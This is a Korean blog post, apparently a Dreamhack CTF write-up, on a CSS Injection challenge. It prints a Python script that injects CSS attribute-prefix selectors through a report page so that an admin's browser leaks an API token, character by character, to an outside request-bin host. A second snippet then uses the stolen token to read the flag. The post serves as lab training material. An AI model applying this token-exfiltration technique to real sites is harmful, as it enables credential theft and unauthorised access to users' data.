이번 문제는 함수들도 많고 코드가 이전 문제들보다 길어서 어디에 취약점이 있는지 찾기 힘들었다.
memo 페이지에서 로그인한 uid에 맞게 저장된 메모를 보여주는데 flag가 admin계정으로 로그인된 메모에 저장되어 있다.
report 페이지에서 관리자 계정으로 로그인한 상태로 요청을 보낼 수 있다.
mypage를 보면 InputApitoken이라는 이름으로 토큰이 저장되어 있다.
이 페이지를 report에서 관리자 계정으로 접속해서 CSS Injection을 하면 될 거 같다.
import requests, string
url = 'http://host3.dreamhack.games:20847/report'
curr=""
for ch in string.ascii_lowercase:
data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+ch+"] {background: url(https://ffowlwb.request.dreamhack.games/"+curr+ch+");"}
c = requests.post(url=url, data=data)
이렇게 공격 코드를 만들었다.
드림핵의 request bin을 보면서 한 글자씩 curr에 추가하면서 코드를 실행했다.
이런 식으로 요청이 오고 토큰을 알아낼 수 있다.
url = 'http://host3.dreamhack.games:20847/api/memo?uid=admin'
headers = {'API-KEY' : token}
response = get(url = url, headers = headers)
print(response.text)
이런 식으로 구한 토큰을 가지고 요청을 보내서 flag를 얻을 수 있다.
'웹해킹' 카테고리의 다른 글
드림핵 Relative Path Overwrite 롸업 (0) | 2023.11.26 |
---|---|
Relative Path Overwrite (0) | 2023.11.26 |
드림핵 Client Side Template Injection 롸업 (0) | 2023.11.26 |
Client Side Injection (0) | 2023.11.26 |
드림핵 CSRF Advanced 롸업 (0) | 2023.11.26 |